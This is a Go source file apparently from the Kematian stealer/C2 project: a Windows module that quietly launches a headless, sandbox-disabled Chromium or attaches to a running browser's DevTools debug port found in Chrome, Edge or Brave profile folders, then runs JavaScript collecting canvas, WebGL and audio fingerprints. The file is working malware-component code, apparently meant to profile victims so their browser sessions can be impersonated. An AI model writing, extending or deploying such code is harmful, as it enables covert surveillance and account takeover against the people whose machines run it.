Files
kematianc2/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go
T
2026-08-27 11:23:01 -06:00

265 lines
7.3 KiB
Go

//go:build windows
package fingerprint
import (
"context"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/chromedp/cdproto/runtime"
"github.com/chromedp/chromedp"
)
func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams {
return p.WithAwaitPromise(true)
}
const fingerprintJS = `(async () => {
const out = {};
try {
const c = document.createElement("canvas");
c.width = 220; c.height = 60;
const x = c.getContext("2d");
x.textBaseline = "top";
x.font = "14px 'Arial'";
x.fillStyle = "#f60";
x.fillRect(0, 0, 220, 60);
x.fillStyle = "#069";
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2);
x.fillStyle = "rgba(102, 204, 0, 0.7)";
x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17);
x.fillStyle = "#f60";
x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill();
out.canvas = c.toDataURL();
} catch (e) {}
try {
const gl = document.createElement("canvas").getContext("webgl");
if (gl) {
const ext = gl.getExtension("WEBGL_debug_renderer_info");
out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER));
out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR));
out.webglVersion = String(gl.getParameter(gl.VERSION));
const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"];
const params = {};
for (const k of keys) {
try {
let v = gl.getParameter(gl[k]);
if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v);
params[k] = v;
} catch (e) {}
}
out.webglParams = params;
const exts = gl.getSupportedExtensions();
out.webglExtensions = exts ? exts.slice().sort() : [];
}
} catch (e) {}
try {
const ac = new OfflineAudioContext(1, 44100, 44100);
const osc = ac.createOscillator();
osc.type = "triangle";
osc.frequency.value = 10000;
const comp = ac.createDynamicsCompressor();
comp.threshold.value = -50;
comp.knee.value = 40;
comp.ratio.value = 12;
comp.attack.value = 0;
comp.release.value = 0.25;
osc.connect(comp);
comp.connect(ac.destination);
osc.start(0);
const buf = await ac.startRendering();
const data = buf.getChannelData(0);
let sum = 0;
for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]);
out.audio = sum;
} catch (e) {}
return out;
})()`
func CollectJS() *JSResult {
res, err := collectJS()
if err != nil {
return nil
}
return res
}
func collectJS() (*JSResult, error) {
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
if wsURL := findExistingDebugURL(); wsURL != "" {
logf("found existing debug endpoint")
if res, err := runRemote(ctx, wsURL); err == nil {
return res, nil
} else {
logf("existing debug endpoint failed: %v", err)
}
}
chrome := browserExePath("Chrome")
if chrome == "" {
chrome = browserExePath("Edge")
}
if chrome == "" {
return nil, fmt.Errorf("no Chromium browser found")
}
logf("spawning hidden Chromium: %s", chrome)
res, err := runHidden(ctx, chrome)
if err != nil {
logf("hidden Chromium failed: %v", err)
}
return res, err
}
func runRemote(ctx context.Context, wsURL string) (*JSResult, error) {
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
defer cancel()
return evalJS(allocCtx)
}
func runHidden(ctx context.Context, chromePath string) (*JSResult, error) {
dataDir, err := os.MkdirTemp("", "kematian_fp_*")
if err != nil {
return nil, fmt.Errorf("temp profile dir: %w", err)
}
defer os.RemoveAll(dataDir)
if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil {
return res, nil
} else {
logf("GPU launch failed: %v; retrying with software rendering", err)
}
return runHiddenWith(ctx, chromePath, dataDir, false)
}
func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) {
args := []string{
"--headless",
"--no-sandbox",
"--disable-dev-shm-usage",
"--no-first-run",
"--no-default-browser-check",
"--disable-extensions",
"--user-data-dir=" + dataDir,
"--remote-debugging-port=0",
"about:blank",
}
if gpu {
args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox")
} else {
args = append(args, "--disable-gpu")
}
cmd := exec.Command(chromePath, args...)
cmd.Stdout = io.Discard
cmd.Stderr = chromeLogWriter{}
if err := cmd.Start(); err != nil {
return nil, fmt.Errorf("start chrome: %w", err)
}
defer func() { _ = cmd.Process.Kill() }()
wsURL, err := waitForDevTools(dataDir, 10*time.Second)
if err != nil {
return nil, err
}
allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL)
defer cancel()
return evalJS(allocCtx)
}
func waitForDevTools(dataDir string, timeout time.Duration) (string, error) {
portFile := filepath.Join(dataDir, "DevToolsActivePort")
deadline := time.Now().Add(timeout)
for time.Now().Before(deadline) {
data, err := os.ReadFile(portFile)
if err == nil {
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
if len(lines) >= 2 {
port := strings.TrimSpace(lines[0])
path := strings.TrimSpace(lines[1])
if port != "" && path != "" {
return "ws://127.0.0.1:" + port + path, nil
}
}
}
time.Sleep(100 * time.Millisecond)
}
return "", fmt.Errorf("chrome did not expose a DevTools port")
}
type chromeLogWriter struct{}
func (chromeLogWriter) Write(p []byte) (int, error) {
for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") {
if line != "" {
logf("chrome: %s", line)
}
}
return len(p), nil
}
func evalJS(allocCtx context.Context) (*JSResult, error) {
cctx, cancel := chromedp.NewContext(allocCtx)
defer cancel()
var out JSResult
if err := chromedp.Run(cctx,
chromedp.Navigate("about:blank"),
chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise),
); err != nil {
return nil, err
}
return &out, nil
}
func findExistingDebugURL() string {
local := os.Getenv("LOCALAPPDATA")
if local == "" {
return ""
}
for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} {
data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort"))
if err != nil {
continue
}
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
if len(lines) < 2 {
continue
}
port := strings.TrimSpace(lines[0])
if port == "" {
continue
}
if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" {
return wsURL
}
}
return ""
}
func debugWebSocketURL(port string) (string, error) {
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get("http://127.0.0.1:" + port + "/json/version")
if err != nil {
return "", err
}
defer resp.Body.Close()
var v struct {
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
if err := json.NewDecoder(resp.Body).Decode(&v); err != nil {
return "", err
}
return v.WebSocketDebuggerURL, nil
}